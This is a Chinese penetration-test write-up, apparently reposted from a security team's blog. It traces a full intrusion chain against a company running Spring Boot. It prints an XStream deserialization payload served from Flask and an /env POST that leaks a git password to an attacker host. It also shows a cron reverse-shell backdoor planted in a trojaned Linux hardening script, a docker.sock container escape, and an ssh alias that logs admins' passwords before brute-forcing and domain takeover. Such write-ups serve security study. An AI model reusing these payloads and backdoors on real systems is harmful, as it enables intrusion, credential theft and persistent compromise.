一次曲折的渗透测试之旅
以下文章来源于酒仙桥六号部队 ，作者队员编号008
这是 酒仙桥六号部队 的第 8 篇文章。
全文共计2241个字，预计阅读时长6分钟。
1
前言
记述一次"授权测试"、"授权测试"、"授权测试"中对某网站进行测试。
第一次渗透测试有点紧张，就把这次渗透测试遇到的一些问题，小技巧记录下来做个分享和小结。
PS：渗透过程中的任何敏感信息均已做过脱敏处理。
2
突破
1、首先是对目标进行信息搜集，搜集一些子域名和端口。这里没有什么特殊的手法，就是扫描。扫描到了一个spring boot的信息泄露。
首先尝试访问了下jolokia，trace，dump这些高危的endpoit，提示404 。很多接口都都失效了，只有下面几个接口，env泄露一些信息。
/health
/env
/info2、然后试了下env配置文件进行xstream反序列化，如果Eureka-Client的版本比较低的，可以有机会直接getshell。
使用flask返回application/xml格式数据：
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>命令</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next>foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')最后由于不知名原因，http请求没有获取到，猜测可能是以下几点原因之一：
a、版本较高
b、依赖包未安装
c、网络原因
3、由于是个测试站点，也没有找到什么敏感信息。准备换下一个网站再深入的时候，发现env中有个打码的git password。
4、通过set spring的
eureka.client.serviceUrl.defaultZone属性，读取打码的password。
将gitpass这个变量，赋值给
eureka.client.serviceUrl.defaultZone属性，然后刷新下应用，在他自动请求我们的恶意地址的时候，便会将gitpass通过401认证的方式传输给我们的恶意地址。
POST /env HTTP/1.1
Host: 0.0.0.0(实际ip或host地址)
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
eureka.client.serviceUrl.defaultZone=http://${gitPassword}@0.0.0.0:80805、refresh后，让app自动获取属性，这样可以把数据发送到我们的服务器上。
6、解开base64，获取到git账户密码。
3
迂回
1、登录到他们git账户上，看看有没有什么敏感的配置文件。结果发现都是一些内网的测试环境的数据配置文件，没有太大的用处。
2、紧接着去看代码能不能审计出一些漏洞。但由于是测试账号，可见项目不多。
3、再翻到几个有低版本的bugjson，但是外网找不到对应的网站。
4、发现一个oss的链接，oss服务下的一级域名存在通用的编辑器漏洞，可以直接getshell，这里就不再赘述了。主要是这个oss链接，是个加固linux的脚本。
5、下载下来打开看了下，猜测应该是个通用运维部署新的机器的时候的常用脚本。可以通过迂回渗透他的oss服务，通过broken link hijacking 获取他内网一些能出网的服务器的权限。
6、前面发现已经拿下oss服务商的部分权限，查看他的配置文件，发现一台内网主机的sa权限的数据库，连接之后执行xp_cmdshell系统命令。
7、然后发现他们很多c段的ip都来请求这个机器的1433数据库，这个数据库应该是个主数据库。
8、连上mssql数据库，翻了很久找到了目标的oss上传使用的key。然后上传替换了这个linux加固脚本，并在里面添加了计划任务后门。
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/IP/PORT 0>&1\n\n" >> /var/spool/cron/root4
逃逸
1、一段时间之后，发现获取了一台linux的shell。ifconfig发现存在docker网卡，所以这是一台docker容器。
2、一般来说docker逃逸，会使用下面几种方法：
a、emote api 未授权访问
b、docker.sock挂载到容器内部
c、特权模式
d、runc（CVE-2019-5736）
e、Dirty Cow（CVE-2016-5195）
3、尝试扫了下2375端口，没有发现未授权的端口访问。
4、find / -name docker.sock尝试寻找下挂载的sock文件。
发现了在/var/run目录下的sock文件, docker.sock是Docker deamon监听的Unix socket，能与其通信意味着可以管理docker。
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
5、当容器访问docker socket时，我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。
若容器A可以访问docker socket，我们便可在其内部安装client（docker），通过docker.sock与宿主机的server（docker daemon）进行交互，运行并切换至不安全的容器B，最终在容器B中控制宿主机。以读写权限挂载系统核心目录(/root, /var/spool/cron/等)到容器，可以获取到宿主机的权限。
5
内网
1、通过执行计划任务，执行了反弹shell命令，控制了宿主机。查看下宿主机中的 .bash_history文件，发现经常使用这台服务器登录其他服务器。
通过留ssh后门抓取运维常用密码。
2、通过ssh后门，抓运维密码。
alias ssh='strace -o /tmp/sssh.log -e read,write,connect -s2048 ssh'
3、获取到运维密码的规律 A+用户名+@+年份，生成密码列表，爆破3389获取到一台服务器。
4、然后就是常规操作，读取密码hash，横向渗透，最终获取域控权限。
5、在内网使用密码、用户名，可以登录大部分内网网站。至此内网沦陷。
6
小结
根据spring框架泄露git账号信息，登录到外网git账户中。由关闭了部分接口，可知做过部分安全措施。然而并没有深入了解这个漏洞。
后面利用blh漏洞getshell获取到内网的权限，最终通过容器逃逸获取服务器权限。容器安全很多厂商还是不够重视，忽略了纵深防御。过分依赖容器、虚拟化本身的安全机制。